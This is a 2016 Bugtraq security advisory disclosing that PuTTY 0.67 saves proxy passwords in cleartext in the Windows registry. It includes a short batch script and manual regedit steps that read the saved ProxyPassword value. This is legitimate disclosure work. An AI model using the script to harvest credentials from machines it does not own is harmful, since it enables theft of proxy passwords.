bugtraq - Putty Cleartext Password Storage

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Message-Id: <201611200546.uAK5kKiv004697@sf01web3.securityfocus.com>
Date: Sun, 20 Nov 2016 05:46:20 GMT
From: apparitionsec@...il.com/hyp3rlinx
To: bugtraq@...urityfocus.com
Subject: Putty Cleartext Password Storage

[+] Credits: John Page aka hyp3rlinx	

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/PUTTY.EXE-INSECURE-PASSWORD-STORAGE.txt

[+] ISR: ApparitionSec

Vendor:
==========================
www.chiark.greenend.org.uk

Product:
===========
Putty.exe
v0.67

PuTTY is a free and open-source terminal emulator, serial console and network file transfer application. It supports several
network protocols, including SCP, SSH, Telnet, rlogin, and raw socket connection.

Vulnerability Type:
==========================
Cleartext Password Storage

Vulnerability Details:
=====================

Putty.exe stores Passwords unencrypted for sessions that use a Proxy connection and specify a password to save.

Putty saves sessions in Windows registry and passwords are stored in cleartext. By storing the passwords in the clear
it can put the Proxy server at risk if the system running Putty is compromised.

A casual Putty user may not be aware of how and where passwords are stored, they may assume saving passwords are safe.
As Putty does NOT warn the user to the fact that when saving Proxy passwords they are stored in cleartext in the registry.

1) Create and save a Putty session specifying a Proxy for the connection, enter a password and save it.

2) Run the below 'Putty-Insecure-PWD.bat' script to search registry for saved session passwords. 

"Putty-Insecure-PWD.bat"
-----------------------

@echo off

setlocal ENABLEEXTENSIONS
set /p v1=Enter Putty Saved Session: %1

echo Search registry for %v1% session Putty password?

pause

set KEY_NAME=HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\%v1%
set VALUE_NAME=ProxyPassword

FOR /F "tokens=1-3" %%A IN ('REG QUERY %KEY_NAME% /v %VALUE_NAME% 2^>nul') DO (
    set ValueName=%%A
    set ValueType=%%B
    set ValueValue=%%C
)

if defined ValueName (
    @echo Value Name = %ValueName%
    @echo Value Type = %ValueType%
    @echo Value Password = %ValueValue%

) else (
    @echo %KEY_NAME%\%VALUE_NAME% not found.
)

set "v1="

////////////////////////End BAT script/////////////////

e.g. output when run BAT file:

Value Name = ProxyPassword
Value Type = REG_SZ
Value Password = abc123

OR manually open regedit and ctrl+F to find 'SimonTatham' then find your session Key you saved.

HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\<YOUR SESSION NAME>

Next, find String Name 'ProxyPassword' and double click to open

value name:
ProxyPassword

Value data:
<PASSWORD IN CLEAR!>

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx